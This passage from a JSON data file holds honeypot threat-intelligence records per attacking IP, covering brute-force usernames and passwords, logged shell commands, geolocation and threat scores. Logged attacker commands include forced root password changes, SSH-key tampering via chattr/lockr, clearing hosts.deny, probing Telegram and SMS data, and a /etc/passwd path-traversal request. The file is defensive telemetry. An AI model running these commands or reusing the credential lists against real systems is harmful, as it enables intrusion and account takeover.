        "duser",
        "kali",
        "marc",
        "prod123",
        "qazWSX123",
        "qwerty",
        "qwerty121"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"shin\\nB1OhHlTqXYp3\\nB1OhHlTqXYp3\\n\"|passwd",
        "echo -e \"shin\\nB1OhHlTqXYp3\\nB1OhHlTqXYp3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Oxel\u00f6sund",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T17:18:41.612000+00:00",
        "last_seen_30d": "2026-04-20T18:17:51.619000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "45.22.211.68": {
      "attack_count": 188,
      "first_seen": "2026-04-15T09:12:47.173Z",
      "last_seen": "2026-04-15T10:02:10.754Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "erpnext",
        "server",
        "steam",
        "sysadmin",
        "test",
        "test1",
        "tester",
        "ubuntu",
        "user",
        "zhangsan"
      ],
      "passwords_attempted": [
        "12345678",
        "1qaz2wsx3edc!",
        "3245gs5662d34",
        "Asd123456.",
        "Ls@123456",
        "QWEqwe!@#123",
        "Qazwsx654321!@",
        "Qwerty12",
        "Root2024",
        "abcd1234",
        "admin123",
        "asdf1234",
        "gwh28dgcmp",
        "qazwsx1234567!@",
        "qweasdzxc",
        "qwerty123qwerty",
        "root2021!",
        "server28!",
        "steamuser",
        "test17"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nbMlWZEhJKqR6\\nbMlWZEhJKqR6\\n\"|passwd",
        "echo -e \"12345678\\nbMlWZEhJKqR6\\nbMlWZEhJKqR6\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 251,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T09:12:47.173000+00:00",
        "last_seen_30d": "2026-04-15T10:03:11.083000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 63
      }
    },
    "222.107.156.227": {
      "attack_count": 168,
      "first_seen": "2026-04-27T15:44:18.765Z",
      "last_seen": "2026-04-27T16:10:47.054Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "xiuyi"
      ],
      "passwords_attempted": [
        "100dns.com0410",
        "147852:",
        "3245gs5662d34",
        "345gs5662d34",
        "ABC12345^&",
        "Admin@2024.",
        "P@ssw0rd)!@#",
        "a88888",
        "abc123$%^",
        "aegis",
        "aq1sw2",
        "atsetkafa",
        "beetroot@2025",
        "blackroot@2024",
        "email!@#456",
        "hadar",
        "isg",
        "qwaszx",
        "root123",
        "tropical"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:HOdDvv5KvRA9\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T15:44:18.765000+00:00",
        "last_seen_30d": "2026-04-27T16:11:53.827000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "41.90.100.147": {
      "attack_count": 168,
      "first_seen": "2026-04-27T02:44:29.983Z",
      "last_seen": "2026-04-27T03:28:15.983Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "openelec",
        "rootcer",
        "wwwroot"
      ],
      "passwords_attempted": [
        "!a@bc",
        "0wnzr0x1",
        "123",
        "1qq11q",
        "2224",
        "3245gs5662d34",
        "345gs5662d34",
        "654321123456",
        "@1Dumitru",
        "G!yBwPWH3Vao%2",
        "N@nol@B$2024s",
        "Qwe!@456",
        "Wy123456",
        "Yzx99127",
        "[odoo]",
        "carolina",
        "johan",
        "qwaszx!@",
        "root",
        "teste!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0yvjDFcnR07E\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37061,
      "as_org": "Safaricom",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T02:44:29.983000+00:00",
        "last_seen_30d": "2026-04-27T03:29:24.495000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "151.115.78.53": {
      "attack_count": 153,
      "first_seen": "2026-04-14T23:49:32.544Z",
      "last_seen": "2026-04-14T23:53:46.130Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "chinxmr",
        "dev",
        "dillof",
        "git",
        "mc",
        "oracle",
        "pilinux",
        "postgres",
        "server",
        "system",
        "test",
        "testuser",
        "ubnt",
        "ubuntu",
        "user",
        "zabbix"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "1234567890",
        "1qaz@wsx",
        "chi1234567890",
        "dev",
        "dillofsha256s",
        "git",
        "mc",
        "oracle",
        "pilinux123",
        "postgres",
        "redhat",
        "root",
        "server",
        "system",
        "test",
        "testuser",
        "toor"
      ],
      "commands_executed": [
        "uname -a ; echo 'vT'"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T23:49:32.544000+00:00",
        "last_seen_30d": "2026-04-14T23:54:54.323000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 153,
        "Suricata": 80
      }
    },
    "178.20.210.185": {
      "attack_count": 148,
      "first_seen": "2026-04-21T00:18:48.492Z",
      "last_seen": "2026-04-30T05:01:29.285Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubnt",
        "11111",
        "Admin",
        "RPM",
        "config",
        "juan",
        "pi",
        "super",
        "username",
        "xd",
        "zz"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "super",
        "11111",
        "1234",
        "123456",
        "12345678",
        "930920",
        "Admin123",
        "RPM",
        "admin123",
        "config",
        "default",
        "juan",
        "pfsense",
        "raspberry",
        "root",
        "stfu_and_be_quite",
        "ubnt",
        "ubnt1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 46.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.7,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T00:18:48.492000+00:00",
        "last_seen_30d": "2026-04-30T05:02:32.369000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 84
      }
    },
    "173.247.242.229": {
      "attack_count": 76,
      "first_seen": "2026-04-30T10:08:06.436Z",
      "last_seen": "2026-04-30T10:10:02.450Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 22611,
      "as_org": "InMotion Hosting, Inc.",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:08:06.436000+00:00",
        "last_seen_30d": "2026-04-30T10:11:11.891000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 39
      }
    },
    "3.131.220.121": {
      "attack_count": 50,
      "first_seen": "2026-04-01T15:17:53.090Z",
      "last_seen": "2026-04-30T10:37:23.339Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8020,
        "days_active_30d": 30,
        "ports_targeted_30d": 172,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T06:07:33+00:00",
        "last_seen_30d": "2026-04-30T17:46:40.262000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5212,
        "Honeytrap": 2380,
        "Dionaea": 121,
        "ConPot": 98,
        "Mailoney": 97,
        "Cowrie": 50,
        "Redishoneypot": 27,
        "Ipphoney": 11,
        "ElasticPot": 6,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Ciscoasa": 4,
        "CitrixHoneypot": 2,
        "Tanner": 2
      }
    },
    "185.91.69.217": {
      "attack_count": 46,
      "first_seen": "2026-04-01T15:21:44.944Z",
      "last_seen": "2026-04-05T00:40:18.295Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "P",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Redditch",
      "asn": 201579,
      "as_org": "Hostgnome Ltd",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 5.8,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 7,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T15:20:52.438000+00:00",
        "last_seen_30d": "2026-04-07T13:12:44.925000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 29
      }
    },
    "64.226.88.238": {
      "attack_count": 42,
      "first_seen": "2026-04-01T05:31:29.066Z",
      "last_seen": "2026-04-01T05:31:32.462Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: Go-http-client/1.1",
        "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1",
        "GET /solr/admin/info/system HTTP/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 2.5,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 3,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:34:09+00:00",
        "last_seen_30d": "2026-04-03T20:17:11.567000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Cowrie": 42,
        "Honeytrap": 23
      }
    },
    "14.241.100.20": {
      "attack_count": 36,
      "first_seen": "2026-04-03T12:13:37.445Z",
      "last_seen": "2026-04-03T12:15:02.721Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T12:13:37.445000+00:00",
        "last_seen_30d": "2026-04-03T12:16:10.143000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "34.77.233.156": {
      "attack_count": 31,
      "first_seen": "2026-04-28T02:21:00.448Z",
      "last_seen": "2026-04-28T02:21:21.501Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T02:21:00.448000+00:00",
        "last_seen_30d": "2026-04-28T02:22:31.470000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 31,
        "Suricata": 18
      }
    },
    "191.185.6.129": {
      "attack_count": 30,
      "first_seen": "2026-04-30T18:33:45.907Z",
      "last_seen": "2026-04-30T18:42:08.103Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T18:33:45.907000+00:00",
        "last_seen_30d": "2026-04-30T18:52:08.939000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 18
      }
    },
    "45.235.84.41": {
      "attack_count": 29,
      "first_seen": "2026-04-12T03:01:09.271Z",
      "last_seen": "2026-04-12T07:16:47.651Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Fuck@allPBX"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Miracema",
      "asn": 268194,
      "as_org": "Telecomunicacoes S. Goncalves ltda-ME",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T03:01:09.271000+00:00",
        "last_seen_30d": "2026-04-12T07:17:55.287000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 29,
        "Suricata": 18
      }
    },
    "160.119.76.200": {
      "attack_count": 24,
      "first_seen": "2026-04-16T02:12:04.686Z",
      "last_seen": "2026-04-29T10:49:04.054Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 98.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 137590,
        "days_active_30d": 28,
        "ports_targeted_30d": 68109,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-03T02:37:28.059000+00:00",
        "last_seen_30d": "2026-04-30T15:48:42.284000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 135215,
        "Tanner": 1565,
        "Honeytrap": 532,
        "H0neytr4p": 229,
        "Cowrie": 24,
        "Dionaea": 11,
        "ConPot": 5,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2
      }
    },
    "59.24.28.114": {
      "attack_count": 21,
      "first_seen": "2026-04-26T19:19:34.635Z",
      "last_seen": "2026-04-26T19:22:42.548Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gyeongju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T19:19:34.635000+00:00",
        "last_seen_30d": "2026-04-26T19:23:49.829000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 11
      }
    },
    "192.253.248.124": {
      "attack_count": 18,
      "first_seen": "2026-04-10T12:37:16.743Z",
      "last_seen": "2026-04-15T15:06:19.944Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "admin"
      ],
      "passwords_attempted": [
        "Kelltech2025#",
        "Kelltech2025@",
        "letmein123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:37:16.743000+00:00",
        "last_seen_30d": "2026-04-15T15:07:29.503000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "45.39.12.34": {
      "attack_count": 17,
      "first_seen": "2026-04-18T11:42:35.949Z",
      "last_seen": "2026-04-18T11:42:58.036Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "system",
        "user"
      ],
      "passwords_attempted": [
        "OkwKcECs8qJP2Z",
        "admin",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": null,
      "as_org": null,
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T11:42:35.949000+00:00",
        "last_seen_30d": "2026-04-18T11:44:01.108000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 7
      }
    },
    "204.76.203.215": {
      "attack_count": 15,
      "first_seen": "2026-04-03T18:48:55.220Z",
      "last_seen": "2026-04-15T13:01:10.285Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Connection: close",
        "GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 61.1,
      "threat_level": "high",
      "score_components": {
